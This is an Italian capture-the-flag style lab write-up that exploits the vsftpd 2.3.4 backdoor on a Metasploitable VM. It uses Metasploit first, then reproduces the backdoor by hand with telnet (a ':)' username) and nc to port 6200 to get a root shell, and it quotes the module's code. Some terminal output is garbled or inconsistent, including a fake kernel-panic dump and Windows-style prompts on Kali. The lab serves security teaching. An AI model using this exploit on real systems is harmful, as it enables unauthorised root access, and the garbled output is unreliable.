

Traccia:

Partendo da quanto già visto su Metasploit, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**».

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: **192.168.1.149/24**.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando **mkdir** nella directory di root (/). Chiamate la cartella **test_metasploit**.

Iniziamo col configurare l'indirizzo IP di Meta come chiede la consegna

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 10
    link/ether 08:00:27:e3:fa:a2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fee3:faa2/64 scope link
        valid_lft forever preferred_lft forever
```

Avviamo msfconsole sulla nostra macchina Kali.

```
C:\home\kali> msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
ffffffffffffffffffffffffffff
fffffffff.....
ffffffffffffffffffffffffffff
```

Una volta avviato il servizio è possibile cercare direttamente l'exploit vsftpd.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    vsftpd 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     vsftpd v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > █
```

Utilizziamo il numero 1 e poi avviamolo con il comando "run" o "exploit".

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[-] 192.168.1.149:21 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.149:21) was unreachable.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:36505 -> 192.168.1.149:6200) at 2024-10-18 12:44:03 -0400
```

Per verificare se siamo entrati possiamo controllare l'indirizzo IP o utilizzare un qualsiasi comando come "ls" per vedere se compaiono directory.

```
var
vmlinuz
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:e3:fa:a2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fee3:faa2/64 scope link
        valid_lft forever preferred_lft forever
```

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
█
```

Ora possiamo creare la cartella test_metasploit con il comando mkdir come richiesto dall'esercizio, utilizzare nuovamente il comando "ls" per verificare se la cartella è stata creata.

```

usr
var
vmlinuz
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz

```

Come ulteriore verifica andare sulla nostra macchina Meta spostarsi nella directory root (/) e controllare che la cartella che abbiamo creato sulla macchina kali sia presente.

```

msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin      dev      initrd   lost+found  nohup.out  root    sys      test_metasploit  usr
boot     etc      initrd.img  media      opt        sbin    tmp      test_metasploit  var
cdrom    home    lib      mnt        proc       srv     tmp      test_metasploit  vmlinuz
msfadmin@metasploitable:/$ _

```

Facoltativo:

Analizzate il codice dell'exploit con il comando edit (all'interno del modulo caricato).

Riprodurre l'exploit senza l'aiuto di metasploit ma utilizzando:

- telnet
- nc

Leggiamo il codice dell'exploit, inizialmente ci dice di connetterci al servizio FTP (porta 21), dopo di che i punti che ci interessano maggiormente sono quelli dove c'è scritto "sock.put USER rand_text" che ci chiede di inserire "USER" e di seguito un qualsiasi testo alfanumerico e poi concludere con ":").

Successivamente possiamo leggere che "if resp 530 the backdoor code cannot be reached", il codice della backdoor non può essere raggiunto ma "if resp 331 this server did not respond as expected", il server non ha risposto come previsto, di conseguenza ti chiederà di inserire una password qualsiasi, "sock.put PASS rand_text" e infine connettersi alla porta 6200.

```

# Connect to the FTP service port first
connect

banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
  print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
  disconnect
  return
end

if resp !~ /^331 /
  print_error("This server did not respond as expected: #{resp.strip}")
  disconnect
  return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
  print_good("Backdoor service has been spawned, handling...")
  handle_backdoor(nsock)
  return
end

disconnect

```

Come possiamo vedere dall'immagine qui sotto ci connettiamo a telnet sulla porta 21, inseriamo USER e PASS e una volta stabilita la connessione possiamo collegarci sulla porta 6200 tramite nc e poi utilizzare il comando **pwd** per verificare se siamo dentro.

The image shows two terminal windows side-by-side. The left window shows a telnet session on port 21 of 192.168.1.149. It prompts for a username and password, and then shows a directory listing. The right window shows a netcat (nc) session on port 6200 of 192.168.1.149. It shows the connection being established and then the 'pwd' command being executed, which returns the directory path 'C:\home\kali'.

```

kali@kali: ~
File Actions Edit View Help
Mandatory or optional arguments to long option
for any corresponding short options.

Report bugs to <bug-inetutils@gnu.org>.

C:\home\kali> telnet 21 192.168.1.149 21
telnet: too many arguments

C:\home\kali> telnet 192.168.1.149 21
Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^['.
220 (vsFTPd 2.3.4)
USER rand_text:)
331 Please specify the password.
PASS msf
421 Timeout.
Connection closed by foreign host.

C:\home\kali> telnet 192.168.1.149 21
Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^['.
220 (vsFTPd 2.3.4)
USER rand_text:)
331 Please specify the password.
PASS msf
[]

kali@kali: ~
File Actions Edit View Help
C:\home\kali> nc 192.168.1.149 6200
(UNKNOWN) [192.168.1.149] 6200 (?): Connection refused

C:\home\kali> nc 192.168.1.149 6200
pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz

```